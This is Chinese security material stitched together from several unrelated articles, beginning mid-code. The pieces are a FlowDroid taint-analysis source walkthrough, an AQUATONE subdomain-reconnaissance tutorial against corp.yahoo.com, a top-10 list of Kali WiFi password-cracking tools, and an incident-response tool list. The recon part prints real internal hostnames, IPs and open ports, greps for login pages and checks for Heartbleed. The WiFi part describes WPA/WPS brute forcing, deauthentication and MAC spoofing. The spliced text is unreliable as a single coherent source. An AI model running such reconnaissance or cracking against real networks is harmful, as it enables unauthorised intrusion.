        patcher.patchLibraries();

      

        // To cope with broken APK files, we convert all classes that are still

        // dangling after resolution into phantoms

        // 将所有未定义(dangling)的类转化成虚类

        for (SootClass sc : Scene.v().getClasses())

         if (sc.resolvingLevel() == SootClass.DANGLING) {

            sc.setResolvingLevel(SootClass.BODIES);

            sc.setPhantomClass();

         }

        

      // We explicitly select the packs we want to run for performance

        // reasons. Do not re-run the callgraph algorithm if the host

        // application already provides us with a CG.

      if (config.getCallgraphAlgorithm() != CallgraphAlgorithm.OnDemand

            && !Scene.v().hasCallGraph()) {

           PackManager.v().getPack("wjpp").apply();

           // 生成控制流图(callgraph)的关键步骤

           PackManager.v().getPack("cg").apply();

      }

      

      // If we don't have a FastHierarchy, we need to create it

      // 构造整个应用的层级关系

      hierarchy = Scene.v().getOrMakeFastHierarchy();

      

      // Run the preprocessors

        for (PreAnalysisHandler tr : preProcessors)

            tr.onAfterCallgraphConstruction();

   }

下面就是构建最关键的ICFG图,我把它叫做数据流图,数据流图的构成推荐大家看flowdroid推荐的相关论文,很经典的算法,想要把它讲明白需要很大的篇幅,如果有机会,我会单独写一篇关于数据流图构成的文章,原论文中的数据流图在图形展示上会给人造成一些误解,容易造成混淆。生成ICFG代码如下所示,此处不再深入此代码。

   iCfg = icfgFactory.buildBiDirICFG(config.getCallgraphAlgorithm(), config.getEnableExceptionTracking());

使用ICFG进行数据流分析,其代码是非常冗长的,但是这些代码大部分都是一些初始化的工作,看多了很容易把你绕晕,个人觉得这里面的关键操作主要在于两点:

一是对于source、sink点的统计,其代码如下所示;遍历应用所有的方法,然后使用scanMethodForSourcesSinks函数对方法内的source、sink进行统计,并返回该方法中包含的sink点的数量;

   for (SootMethod sm : getMethodsForSeeds(iCfg))

      sinkCount += scanMethodForSourcesSinks(sourcesSinks, forwardProblem, sm);

进入scanMethodForSourcesSinks方法,源码如下所示;其主要操作是通过判断方法是否存在方法体,如果存在方法体,则遍历方法体中的所有语句,soot中定义为Unit对象,可以将其强制转化为Stmt对象,可以理解为jimple形式的java语句,然后判断该语句是否在source、sink中包含,被包含的话,如果是source点,则首先将其作为初始0向量(ICFG图起始点)存入zeroValue中,然后保存到collectedSources容器中;如果是sink点则直接存储到collectedSinks容器中,这个寻找source点的方法,在后面介绍控制流图的时候会使用到。

private int scanMethodForSourcesSinks(final ISourceSinkManager sourcesSinks, InfoflowProblem forwardProblem, SootMethod m) {

      if (getConfig().getLogSourcesAndSinks() && collectedSources == null) {

         collectedSources = new HashSet<>();

         collectedSinks = new HashSet<>();

      }

      

      int sinkCount = 0;

      if (m.hasActiveBody()) {

         // Check whether this is a system class we need to ignore

         final String className = m.getDeclaringClass().getName();

         if (config.getIgnoreFlowsInSystemPackages()

               && SystemClassHandler.isClassInSystemPackage(className))

            return sinkCount;

         // Look for a source in the method. Also look for sinks. If we

         // have no sink in the program, we don't need to perform any

         // analysis

         PatchingChain<Unit> units = m.getActiveBody().getUnits();

         for (Unit u : units) {

            Stmt s = (Stmt) u;

            if (sourcesSinks.getSourceInfo(s, iCfg) != null) {

               forwardProblem.addInitialSeeds(u, Collections.singleton(forwardProblem.zeroValue()));

               if (getConfig().getLogSourcesAndSinks())

                  collectedSources.add(s);

               logger.debug("Source found: {}", u);

            }

            if (sourcesSinks.isSink(s, iCfg, null)) {

               sinkCount++;

               if (getConfig().getLogSourcesAndSinks())

                  collectedSinks.add(s);

               logger.debug("Sink found: {}", u);

            }

         }

      }

      return sinkCount;

   }

二是调用前向追踪方法:forwardSolver.solve(),确认source点到sink点是否存在联通的数据路径,如果存在则认为是一个风险点。前向追踪的算法主要在heros中实现,此处不再展开;最终分析的结果保存在results变量中,通过以下方法将结果打印出来,源码如下所示:

 for (ResultSinkInfo sink : results.getResults().keySet()) {

      logger.info("The sink {} in method {} was called with values from the following sources:",

                 sink, iCfg.getMethodOf(sink.getSink()).getSignature() );

      for (ResultSourceInfo source : results.getResults().get(sink)) {

         logger.info("- {} in method {}",source, iCfg.getMethodOf(source.getSource()).getSignature());

         if (source.getPath() != null) {

            logger.info("/ton Path: ");

            for (Unit p : source.getPath()) {

               logger.info("/t -> " + iCfg.getMethodOf(p));

               logger.info("/t/t -> " + p);

            }

         }

      }

   }

至此我们比较简单的介绍了flowdroid的执行流程,对于控制流图的算法及heros的具体实现并没有做更深入的介绍,后续可能作为独立的文章进行分析。

4、优化

flowdroid无论从算法、实现上,还是从效果上都堪称是一款非常牛逼的产品,但是他也有个非常大的问题就是,太耗内存,分析时间太长,实际使用的价值很低,因此我常常称它为一个实验室的产品。那么有什么优化方法呢,首先需要明白造成flowdroid分析耗时的原因,其实无非就是apk较大时,代码量太大,造成数据流图(ICFG)呈现爆炸式增长,那么很明显的一条思路就是削减ICFG图的体量,我曾经的一个方法是只对几个相关联的文件构造ICFG图,这样就使得ICFG图体量呈现几何式的下降,分析速度肯定明显提升,但是这个方法比较适用于对风险进行验证,并不适用于分析。

最近在研究其他源码扫描工具(如我上篇文章的RIPS)的时候发现,这些工具在进行源码扫描的时候并没有进行所谓的数据流分析,更多的只是对调用关系进行分析。诚然数据流分析能够减少很多误报,但是这些误报在我们进行漏洞验证的时候可能很容易就排除掉,这样只使用控制流图进行风险分析看起来也是个不错的想法。进行控制流分析首先要获取Android应用的控制流图,下面的代码展示如何使用soot构造Android应用的控制流图,相关说明上文均有提及,此处不再进行详细说明。

SetupApplication app = new SetupApplication(androidPlatformPath, appPath);

     app.calculateSourcesSinksEntrypoints("SourcesAndSinks.txt");

     soot.G.reset();

     Options.v().set_src_prec(Options.src_prec_apk);

     Options.v().set_process_dir(Collections.singletonList(appPath));

     Options.v().set_android_jars(androidPlatformPath);

     Options.v().set_whole_program(true);

     Options.v().set_allow_phantom_refs(true);

     Options.v().setPhaseOption("cg.spark", "on");

     Scene.v().loadNecessaryClasses();

     SootMethod entryPoint = app.getEntryPointCreator().createDummyMain();

     Options.v().set_main_class(entryPoint.getSignature());

     Scene.v().setEntryPoints(Collections.singletonList(entryPoint));

     System.out.println(entryPoint.getActiveBody());

     PackManager.v().runPacks();

     CallGraph appCallGraph = Scene.v().getCallGraph();

获取控制流图后,下一步就是确定图中的两个点是否存在连线,假设这两个点为我们定义的source点、sink点,如果存在连线,即source点与sink点之间存在调用关系,那么就可以作为一个风险点抛出。那么如何确定是否存在调用关系,查看CallGraph的源码中是否定义了相关方法,发现存在findEdge这个方法,该方法用于寻找某个语句对于某个方法是否存在调用调用关系,如果把第一个参数u定义为一个sink点,即调用点,第二个参数callee定义为一个source点,那么便定义了他们之间的一种调用关系。unit的获取可以通过上面介绍的获取应用内source、sink点的方法获取。

 public Edge findEdge( Unit u, SootMethod callee )

    {

      Edge e = srcUnitToEdge.get(u);

      while ( e.srcUnit() == u &&

            e.kind() != Kind.INVALID ) {

         if ( e.tgt() == callee )

            return e;

         e = e.nextByUnit();

      }

      return null;

    }

注:使用控制流分析本人并没有亲自试验,可能存在问题,望见谅。

*本文作者:nightmarelee,转载请注明FreeBuf.COM

子域名发掘神器:AQUATONE

子域名发掘神器:AQUATONE

当我们要对一个目标进行渗透时,我们往往需要去尽可能的挖掘目标可能存在的攻击面。就拿一个域名来说,当主站防御的比较死的时候,我们通常就会考虑其子站。因为相对主站而言,子站的安全性做的可能不那么全面。那么,我们该如何最大程度的将目标子域枚举出来呢?靠人工当然不行,其实在网上已经有很多专门用于挖掘子域的神器,例如 FierceSubBruteGobuster等。此外,还有一些在线网站也为我们提供了强劲的子域枚举功能,例如站长之家等。

那么除此之外,还有没有什么比较好用的子域枚举神器呢?这里我要向大家推荐一款名为AQUATONE的子域挖掘神器。相比前面提及的枚举工具,AQUATONE不仅仅只是通过简单的子域爆破,它还会利用各种开放的互联网服务和资源,来协助其完成子域枚举任务,这也大大提高了子域的爆破率。当发现子域时,我们还可以使用AQUATONE来探测主机的公共HTTP端口,并收集响应头,HTML和屏幕截图,并能最终为我们生成一个报告,便于我们后续的分析利用。

此外,AQUATONE被分为三个独立的命令(阶段)。如果你只想使用它来进行子域的发现,而无需任何的扫描或屏幕截图,你只需单独的执行其中一条命令即可。下面,让我们来看看AQUATONE评估的三个阶段:

阶段1:发现

为了向大家演示AQUATONE的用法,这里我将以corp.yahoo.com这个域名为例。之所以选择这个域名是因为Yahoo的漏洞赏金计划包含了所有* .yahoo.com的域名,所以运行这类爆破工具也是可被接受的。

命令aquatone-discover是用以启动AQUATONE的:

子域名发掘神器:AQUATONE

aquatone-discover做的第一件事,就是确定目标的主域名服务器。使用主域名服务器进行发现,不仅可以确保信息是最新的,而且还能将发现的结果最大化。

此外,它还可以快速的测试目标域是否为通配符域。如果为通配符域,它将识别可能的通配符响应并将其过滤掉。庆幸的是我们测试的corp.yahoo.com没有被配置为通配符。

在进行完主域名服务器和通配符检测后,AQUATONE将会向每个子域收集器模块,询问目标域下的潜在子域。aquatone-discover共集成了以下收集器模块:

收集器模块总返回了12.282个潜在的子域,aquatone-discover并对这些域名进行了相应的解析。

子域名发掘神器:AQUATONE

在经过一段时间的收集,aquatone-discover共为我们找到了1.958存活的子域。它还分析了IP,并列出了可用于进一步探测的潜在IP子网范围:

子域名发掘神器:AQUATONE

在aquatone评估目录下,它还为我们自动创建了一个以“目标域.hosts.txt”命名的文件,并将枚举的域名和IP以逗号分割打印在了文本中。

224-si1.corp.yahoo.com,207.126.224.4
224-si2.corp.yahoo.com,207.126.224.5
227-si1.corp.yahoo.com,207.126.227.4
227-si2.corp.yahoo.com,207.126.227.7
232-si1.corp.yahoo.com,207.126.232.4
232-si2.corp.yahoo.com,207.126.232.5
351-si1.corp.yahoo.com,216.145.51.4
351-si2.corp.yahoo.com,216.145.51.96
998-dmz-foundry1.corp.yahoo.com,216.145.48.25
998-dmz-foundry2.corp.yahoo.com,216.145.48.39
aa-dc1.wpe.stg.test.corp.yahoo.com,98.137.139.80
aa-dc2.wpe.stg.test.corp.yahoo.com,98.137.139.81
aaa1-1-a-gci.corp.yahoo.com,216.145.50.84
aaa1-2-a-gci.corp.yahoo.com,216.145.50.87
aahost1.stg.test.corp.yahoo.com,98.137.139.82
aahost2.stg.test.corp.yahoo.com,98.137.139.83
aahost3.stg.test.corp.yahoo.com,98.137.139.84
aahost4.stg.test.corp.yahoo.com,98.137.139.85
aape01.stg.test.corp.yahoo.com,98.137.139.93
aavm1.stg.test.corp.yahoo.com,98.137.139.87

阶段2:扫描

在完成子域的收集工作后,接下来我们需要确定哪些子域可以被访问。但是面对这上千个网址,如果采取手动浏览的方式显然不太明智。这里我们可以让aquatone-scan,来帮助我们完成这个工作。

子域名发掘神器:AQUATONE

在默认情况下aquatone-scan,将为我们扫描以下TCP端口:80,443,880,8080和8443,这些都是非常常见的Web服务端口。当然,我们还可以使用–ports选项来指定我们需要扫描的端口号,或者指定一个内置的列表别名:

  • small: 80, 443
  • medium: 80, 443, 8000, 8080, 8443 (same as default)
  • large: 80, 81, 443, 591, 2082, 2087, 2095, 2096, 3000, 8000, 8001, 8008, 8080, 8083, 8443, 8834, 8888
  • huge: 80, 81, 300, 443, 591, 593, 832, 981, 1010, 1311, 2082, 2087, 2095, 2096, 2480, 3000, 3128, 3333, 4243, 4567, 4711, 4712, 4993, 5000, 5104, 5108, 5800, 6543, 7000, 7396, 7474, 8000, 8001, 8008, 8014, 8042, 8069, 8080, 8081, 8088, 8090, 8091, 8118, 8123, 8172, 8222, 8243, 8280, 8281, 8333, 8443, 8500, 8834, 8880, 8888, 8983, 9000, 9043, 9060, 9080, 9090, 9091, 9200, 9443, 9800, 9981, 12443, 16080, 18091, 18092, 20720, 28017

使用huge这个端口列表,你将会发现更多的Web服务,但与此同时也会增加aquatone-scan的扫描时间。

aquatone-scan在corp.yahoo.com的评估目录中创建了两个新文件:open_ports.txt中包含了主机IP以及对应开启的端口:

117.104.189.54,443
124.108.98.253,443
124.108.98.254,443
203.83.249.10,443
203.83.249.4,443
203.83.249.5,443
203.83.249.8,443
203.83.249.9,443
209.131.62.228,443
209.131.62.229,443
209.131.62.230,443
209.131.62.231,443
216.145.48.148,443
216.145.48.149,443
216.145.48.150,443
216.145.48.151,443
216.145.48.152,443
216.145.48.153,443
72.30.2.113,443,80
77.238.184.150,80
98.136.163.125,80,443
98.136.205.152,443,80
98.136.205.216,443

urls.txt则包含了可用于web请求的URL列表:

http://bomgar.corp.yahoo.com/

http://bouncer.gh.corp.yahoo.com/


http://buzz.corp.yahoo.com/


http://cloud.corp.yahoo.com/


http://fifa.corp.yahoo.com/


http://gemini.corp.yahoo.com/


http://guest.corp.yahoo.com/


http://insights.corp.yahoo.com/


http://ipv6.corp.yahoo.com/


http://marketingcentral.corp.yahoo.com/


http://messenger.corp.yahoo.com/


http://request.corp.yahoo.com/


http://sas.corp.yahoo.com/


http://services.corp.yahoo.com/


http://shop.corp.yahoo.com/


http://si.corp.yahoo.com/


http://wireless.corp.yahoo.com/


https://bomgar.corp.yahoo.com/


https://bouncer.gh.corp.yahoo.com/

https://fast.corp.yahoo.com/

以上生成的这些文本,可直接被用于下一评估阶段。如果你想将这些结果导入到其它工具使用,你可以使用像grep,awk等这类命令或其他分割工具,将其划分成相应的格式再次利用。

阶段3:收集

经过上面两个阶段,我们已经获取了* .corp.yahoo.com的子域名和开放端口。下面我们将进入最后一个环节,使用aquatone-gather来收集HTTP响应和截图,并将结果生成报告:

子域名发掘神器:AQUATONE

aquatone-gather会从之前AQUATONE创建的文件加载数据,并请求文本中的URL来收集HTTP响应和截图。aquatone-gather是基于Nightmare来完成繁重的请求任务和屏幕截图的。

过了一会儿,aquatone-gather完成了所有的web请求。但从截图可以看到,当中出现了部分的failed。 Nightmare和许多其他的浏览器自动化工具一样,会在某些页面处理中出现失败的情况。

子域名发掘神器:AQUATONE

最终aquatone-gather为我们打印了,成功和失败的页面处理简短摘要,以及生成了一份html格式的报告文件。但aquatone-gather为我们生成的文件远不止这些,我们查看评估文件夹可以看到,这里为我们创建了三个新的文件夹:headers, html,reportscreenshots。

其中headers文件夹中的文本文件,包含了所有访问页面的响应头信息:

root@kali:~/aquatone/corp.yahoo.com/headers# cat bomgar_corp_yahoo_com__98_136_205_152__443.txt
Cache-Control: no-cache
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Date: Wed, 14 Jun 2017 12:22:01 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Keep-Alive: timeout=15, max=100
Pragma: no-cache
Server: Bomgar
Set-Cookie: ns_s=c9b9309296cf5babeb7e193125cb2cf0f3c7f13c; path=/; secure; HttpOnly
Strict-Transport-Security: max-age=31536000
Transfer-Encoding: chunked
X-Ua-Compatible: IE=edge
root@kali:~/aquatone/corp.yahoo.com/headers#

html文件夹则包含了所有访问页面的HTML主体信息:

root@kali:~/aquatone/corp.yahoo.com/html# cat bomgar_corp_yahoo_com__98_136_205_152__443.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-us">
<head>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  <title>Yahoo! Global Service Desk LiveChat</title>
  <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0" />
<link href="/content/common.css" rel="stylesheet" type="text/css" />
<link href="/content/public.css" rel="stylesheet" type="text/css" />
<link href="/content/mobile.css" rel="stylesheet" type="text/css" />

</head>
<body>
<div id="container">

<div id="header" class="contentBox">
...
<div style="display: none">
<div style="margin: 1em;">
  <a href="http://www.bomgar.com" class="inverse" target="_blank">Secure Remote Desktop Access by Bomgar</a>

</div>
</div>

</div>

</body>
</html>
root@kali:~/aquatone/corp.yahoo.com/html#

screenshots文件夹则包含了所有访问页面的PNG屏幕截图:

root@kali:~/aquatone/corp.yahoo.com/screenshots# ls
bomgar_corp_yahoo_com__98_136_205_152__443.png
bomgar_corp_yahoo_com__98_136_205_152__80.png
bouncer_gh_corp_yahoo_com__72_30_2_113__443.png
bouncer_gh_corp_yahoo_com__72_30_2_113__80.png
buzz_corp_yahoo_com__77_238_184_150__80.png
cloud_corp_yahoo_com__77_238_184_150__80.png
...
si_corp_yahoo_com__77_238_184_150__80.png
vpn1-1-gci_eglbp_corp_yahoo_com__203_83_249_4__443.png
vpn1-1-ptn_corp_yahoo_com__216_145_48_151__443.png
vpn1-1-ptn_eglbp_corp_yahoo_com__203_83_249_10__443.png
vpn1-2-gci_sv6_corp_yahoo_com__209_131_62_228__443.png
vpn-1-gci_hongkong_corp_yahoo_com__117_104_189_54__443.png
vpn2-1-gci_eglbp_corp_yahoo_com__203_83_249_5__443.png
vpn2-1-ptn_corp_yahoo_com__216_145_48_152__443.png
vpn2-2-gci_sv6_corp_yahoo_com__209_131_62_229__443.png
vpn-2-gci_sv6_corp_yahoo_com__209_131_62_230__443.png
wireless_corp_yahoo_com__77_238_184_150__80.png
root@kali:~/aquatone/corp.yahoo.com/screenshots#

你可以直接在文件夹中浏览这些屏幕截图,但我建议大家最好是通过生成的HTML报告来进行查看,这样更有利于我们的整体分析。对于可能会导致安全问题的地方,AQUATONE将以红色或绿色背景为我们高亮显示:

CLI技巧

对于以上生成的这些文件,我们可以做很多事情。下面,我教大家一些查找其中有用信息的小技巧。

获取服务器技术统计信息

root@kali:~/aquatone/corp.yahoo.com/headers# cat * | grep 'Server:' | sort | uniq -c | sort -nr
     13 Server: ATS
      6 Server: Bomgar
      1 Server: AkamaiGHost
root@kali:~/aquatone/corp.yahoo.com/headers#

查找更多子域

root@kali:~/aquatone/corp.yahoo.com/html# cat * | egrep -o '[a-z0-9/-/_/.]+/.corp/.yahoo/.com' | sort -u
bomgar.corp.yahoo.com
bouncer.by.corp.yahoo.com
fast.corp.yahoo.com
it.corp.yahoo.com
request.corp.yahoo.com
services.corp.yahoo.com
root@kali:~/aquatone/corp.yahoo.com/html#

查找HTML注释

root@kali:~/aquatone/corp.yahoo.com/html# cat * | egrep -o '<!--.*-->'
<!--//-->
<!-- Begin comScore Tag -->
<!-- bouncer02.gh.bf1.yahoo.com Wed Jun 14 12:22:09 UTC 2017 -->
<!-- bouncer12-os.gh.bf2.yahoo.com Wed Jun 14 12:22:29 UTC 2017 -->
<!-- #doc4 -->
<!-- .dw1 -->
<!-- .dw4 -->
...
<!-- /.shmod -->
<!-- SpaceID=0 timeout (ads1) -->
<!-- src2.ops.ir2.yahoo.com Wed Jun 14 12:22:15 UTC 2017 -->
<!-- src4.ops.ir2.yahoo.com Wed Jun 14 12:21:44 UTC 2017 -->
<!-- src4.ops.ir2.yahoo.com Wed Jun 14 12:21:51 UTC 2017 -->
<!-- src4.ops.ir2.yahoo.com Wed Jun 14 12:22:27 UTC 2017 -->
<!-- src6.ops.ir2.yahoo.com Wed Jun 14 12:21:57 UTC 2017 -->
<!-- src6.ops.ir2.yahoo.com Wed Jun 14 12:22:15 UTC 2017 -->
<!-- src6.ops.ir2.yahoo.com Wed Jun 14 12:22:36 UTC 2017 -->
<!-- URL: /::ProfilerTotal:557:1497442917838::Page Creation:40:1497442917838::user_ups:0:1497442917844::ydht_time:1:1497442917845::Maple Execution:518:1497442917878::Maple WS:41:1497442917879::SHAdModule:457:1497442917921::SHLeftNavigationModule:7:1497442918378::SHHeroModule:0:1497442918385::SHBrowseShoppingModule:5:1497442918385::SHSocialNewBrowseModule:0:1497442918390::SHCopyrightModule:1:1497442918391:: -->
<!-- web23.shop.bf1.yahoo.com -->
<!-- web23.shop.bf1.yahoo.com Wed Jun 14 12:21:57 UTC 2017 -->

查找带有密码字段的页面

root@kali:~/aquatone/corp.yahoo.com/html# grep 'type="password"' *
bouncer_gh_corp_yahoo_com__72_30_2_113__80.html: <dd><input class="input-large" name="pass_word" type="password" id="pass_word" maxlength="64"   autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false" ></dd>
fast_corp_yahoo_com__98_136_205_216__443.html: <dd><input class="input-large" name="pass_word" type="password" id="pass_word" maxlength="64"   autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false" ></dd>
root@kali:~/aquatone/corp.yahoo.com/html#

获取端口为443的主机

root@kali:~/aquatone/corp.yahoo.com# cat open_ports.txt | grep ',443' | cut -d "," -f 1
117.104.189.54
124.108.98.253
124.108.98.254
203.83.249.10
203.83.249.4
...
216.145.48.153
72.30.2.113
98.136.163.125
98.136.205.152
98.136.205.216
root@kali:~/aquatone/corp.yahoo.com#

检查HTTPS主机,是否存在心脏滴血漏洞

root@kali:~/aquatone/corp.yahoo.com# grep https urls.txt | cut -d '/' -f 3 > /tmp/targets.lst
root@kali:~/aquatone/corp.yahoo.com# sslscan --targets=/tmp/targets.lst --no-ciphersuites --no-fallback --no-renegotiation --no-compression --no-check-certificate
Version: 1.11.9-static
OpenSSL 1.0.2l-dev  xx XXX xxxx

Testing SSL server bomgar.corp.yahoo.com on port 443 using SNI name

  Heartbleed:
TLS 1.2 not vulnerable to heartbleed
TLS 1.1 not vulnerable to heartbleed
TLS 1.0 not vulnerable to heartbleed



Testing SSL server bouncer.gh.corp.yahoo.com on port 443 using SNI name
...
Testing SSL server vpn2-2-gci.sv6.corp.yahoo.com on port 443 using SNI name

  Heartbleed:
TLS 1.2 not vulnerable to heartbleed
TLS 1.1 not vulnerable to heartbleed
TLS 1.0 not vulnerable to heartbleed

root@kali:~/aquatone/corp.yahoo.com#

*参考来源:michenriksen,FB小编 secist 编译,转载请注明来自FreeBuf(FreeBuf.COM)

Kali Linux中优秀Wifi渗透工具TOP 10

Kali Linux中优秀Wifi渗透工具TOP 10

这篇文章要讨论的是目前一个非常热门的话题:渗透无线网络以及如何防止无线网络被入侵。WiFi通常都是网络环境中的一个薄弱环节,因为WiFi信号可以在范围内的任何一个地方被任何一个人捕捉到,而且只要有正确的工具以及合适的软件(例如Kali Linux),很多无线路由器中存在的安全漏洞都是可以被攻击者轻松利用的。

接下来,我们将会给大家介绍目前最热门的十大WiFi入侵工具,这些工具可以帮助我们测试无线网络环境中存在的潜在安全问题。

1.   Aircrack-ng

官方网站:【传送门

使用教程:【传送门

简介

Aircrack是目前WEP/WPA/WPA2破解领域中最热门的工具,Aircrack-ng套件包含的工具能够捕捉数据包和握手包,生成通信数据,或进行暴力破解攻击以及字典攻击。Aircrack-ng是一款多合一整合套件,该套件大致包含下列几种工具:

-Aircrack-ng:无线密码破解

-Aireplay:生成网络数据,去客户端验证

-Airodump-ng:数据包捕捉

-Airbase-ng:配置伪造的接入点

Aircrack-ng可以在Linux、Windows和macOS上运行,并且KaliLinux默认自带了该套件。如果你准备使用这款工具,那么你还需要确保自己的无线网卡具备数据包注入功能。

Kali Linux中优秀Wifi渗透工具TOP 10

2.   Reaver

官方网站:【传送门

使用教程:【传送门

简介

排名第二的是Reaver,Reaver也是目前流行的无线网络攻击工具,它主要针对的是WPS漏洞。Reaver会对WiFi保护设置(WPS)的注册PIN码进行暴力破解攻击,并尝试恢复出WPA/WPA2密码。由于很多路由器制造商和ISP会默认开启WPS功能,因此市面上的很多路由器都无法抵御这种攻击。

在使用Reaver时,无线路由器的信号一定要足够强。平均来说,Reaver可以在4-10个小时之内破解目标路由器的密码,具体破解时长还要根据接入点类型、信号强度和PIN码本身来判断。从概率论和统计学的角度来看,你有50%的机会只需要花一半时间就能够破解出目标路由器的PIN码。

Kali Linux中优秀Wifi渗透工具TOP 10

3.   Pixiewps

官方网站:【传送门

使用教程:【传送门

修改版Reaver+Pixie:【传送门

简介

PixieWPS是Kali Linux新加入的一款专门针对WPS漏洞的渗透工具。PixieWPS使用C语言开发,可以用来离线爆破WPS PIN码。它所使用的技术名叫pixie dust攻击,需要注意的是,PixieWPS需要一个修改版的Reaver或Wifite才能正常运行。由于这款工具在短时间内就变得非常受欢迎了,因此它在我们的排行榜上排到了第三名。

Kali Linux中优秀Wifi渗透工具TOP 10

4.   Wifite

官方网站:【传送门

简介

Wifite是一款能够攻击多种无线加密方式(WEP/WPA/WPA2和WPS)的自动化工具, Wifite在运行之前需要提供几个参数,而Wifite将会自动帮我们完成所有的任务。它可以捕获WPA握手包,自动化去客户端验证,进行MAC地址欺骗,以及破解WiFi密码。

Kali Linux中优秀Wifi渗透工具TOP 10

5.   Wireshark

官方网站:【传送门

使用教程:【传送门

在线课程:【WiresharkCrash Course】、【WiresharkTutorial – Get Wireshark Certification

简介

Wireshark算得上是目前最好的网络协议分析工具了,在Wireshark的帮助下,你能够深入地分析一个网络,并获取到尽可能多的信息。Wireshark能够实时捕获网络数据包、对上百种协议进行深入分析、以及浏览和过滤数据包。需要注意的是,Wireshark是一款跨平台工具。

KaliLinux默认自带了Wireshark,不过Windows和macOS用户都可以使用它。如果你想使用Wireshark的某些特殊功能,那么你需要一款支持监听模式的WiFi适配器。

Kali Linux中优秀Wifi渗透工具TOP 10

6.   oclHashcat

官方网站:【传送门

使用教程:【传送门

简介

oclHashcat并不是一款专用的WiFi入侵工具,而且它也不是Kali Linux的自带工具,但它能够对捕捉到的握手包进行高速爆破攻击和字典攻击(使用GPU跑字典)。在使用了Aircrack-ng或其他工具捕捉到了握手包之后,我们就可以使用GPU和oclHashcat来破解WiFi密码了,而且GPU+oclHashcat的破解速度要比CPU+Aircrack-ng的速度快得多。

oclHashcat适用于Windows和Linux,并且还有专门针对AMD和Nvidia显卡的版本。

Kali Linux中优秀Wifi渗透工具TOP 10

7.   Fern Wifi Cracker

官方网站:【传送门

简介

Fern Wifi Cracker是一款针对无线网络的安全审计工具和攻击工具,该工具采用Python编写,它也是这十大无线攻击工具中唯一一款具有图形用户界面的工具。Fern Wifi Cracker能够破解WEP、WPA和WPS密钥,并且还包含有能够执行MiTM(中间人攻击)攻击的组件。

8.   Wash

官方网站:【传送门

使用教程:【传送门

简介

当攻击者在对WPS PIN码进行暴力破解攻击时,很多接入点会将自己锁定以保证路由器的安全性。而Wash就是一款能够确定目标接入点是否开启了WPS的工具,在使用Reaver进行了多次尝试之后,你可以用Wash来检查接入点是否锁定了WPS。

Kali Linux中优秀Wifi渗透工具TOP 10

9.   Crunch

官方网站:【传送门

使用教程:【传送门

简介

Crunch可以用来生成自定义字典,而生成的字典可以用于字典攻击。由于字典攻击的成功率依赖于所使用字典的质量,因此我们总是不可避免地要根据自己的需要来生成字典。

Kali Linux中优秀Wifi渗透工具TOP 10

10.  Macchanger

官方网站:【传送门

使用教程:【传送门

简介

实际上,Macchanger是一款能够将你设备的MAC地址改成随机值的小工具,当然了,你也可以将其修改为你想要的数据。为了避免目标设备采用了MAC地址过滤,所以对于WiFi攻击来说,MAC地址修改就显得非常重要了。

Kali Linux中优秀Wifi渗透工具TOP 10

总结

希望本文总结出的十大热门WiFi攻击工具能够给大家提供一定的帮助,就目前的情况来看,无线网络的安全性仍然有很大的提升空间,而这种安全性的提升需要整个社区贡献自己的力量。

* 参考来源:hackingtutorials, FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

安全人员应急响应工具箱

*本文原创作者:Shun,本文属FreeBuf原创奖励计划,未经许可禁止转载

安全人员应急响应工具箱

本文旨在帮助安全分析师和DFIR团队更好的完成工作,现整理了一些现在比较流行的安全事件应急响应工具和资源列表。

工具集

书籍

社区

磁盘镜像创建工具

证据收集

应急管理

Linux 发行版

Linux 证据收集

日志分析工具

内存分析工具

内存镜像工具

OSX 证据收集

其他工具

Playbooks

进程 Dump 工具

沙盒 / 逆向工具

时间线工具

视频

Windows 证据收集

IR 工具收集

工具集

Belkasoft Evidence Center – 该工具包通过分析硬件驱动、驱动镜像、内存转储、iOS、黑莓与安卓系统备份、UFED、JTAG 与 chip-off 转储来快速从多个源提取数字证据

CimSweep – CimSweep 是一套基于 CIM/WMI 的工具,能够在所有版本的 Windows 上执行远程事件响应

CIRTkit – CIRTKit 不仅是一个工具集合,更是一个框架,帮助在事件响应与取证调查过程中统一

Cyber Triage – Cyber Triage 远程收集/分析终端数据,以帮助确定计算机是否被入侵.其专注易用性与自动化,采用无代理方法使公司在没有重大基础设施/没有取证专家团队的情况下做出响应,其结果用于决定是否应该被擦除或者进行进一步调查

Digital Forensics Framework – DFF 是一个建立在专用 API 之上的开源计算机取证框架,DFF 提出了一种替代目前老旧的数字取证解决方案,其设计简单/更加自动化,通过 DFF 接口可以帮助用户进行数字调查取证的主要步骤,专业与非专业人员都可以快速的进行数字取证并执行事件响应

Doorman – Doorman 是一个 osquery 的管理平台,可以远程管理节点的 osquery 配置.它利用 osquery 的 TLS 配置/记录器/分布式读写等优势为管理员提供最小开销的管理

Envdb – Envdb 将你的生产/开发/云等环境变成数据库集群,你可以使用 osquery 作为基础搜索,它可以和集群中心节点包装 osquery 的查询过程

Falcon Orchestrator – Falcon Orchestrator 是由 CrowdStrike 提供的一个基于 Windows 可扩展的应用程序,提供工作流自动化、案例管理与安全应急响应等功能

FIDO – Netflix 开发的 Fully Integrated Defense Operation (FIDO) 用于自动化评估/响应恶意软件入侵响应过程,FIDO 的主要目的是协助处理大量的手动工作来评估对安全堆栈的威胁与生成的大量警报

GRR Rapid Response – GRR Rapid Response 是一个用来远程现场取证的应急响应框架,其带有一个可以管理客户端的 Python 编写的服务器

Kolide – Kolide 是一个无代理的 osquery Web 接口与远程 API 服务器,Kolide 作为 Envdb 替代品的设计理念就是极度便携(仅有一个可执行程序),在保持代码简单的情况下保持性能

Limacharlie – 一个终端安全平台,它本身是一个小项目的集合,并提供了一个跨平台的低级环境,你可以管理并推送附加功能进入内存给程序扩展功能

MIG – Mozilla Investigator (MIG) 是一个在远程终端执行调查的平台,它可以在大量系统中并行获取数据,从而加速事故调查与保证日常业务安全

MozDef – Mozilla Defense Platform (MozDef) 旨在帮助安全事件处理自动化,并促进事件的实时处理

nightHawk – nightHawk Response Platform 是一个以 ElasticSearch 为后台的异步取证数据呈现的应用程序,设计与 Redline 配合调查

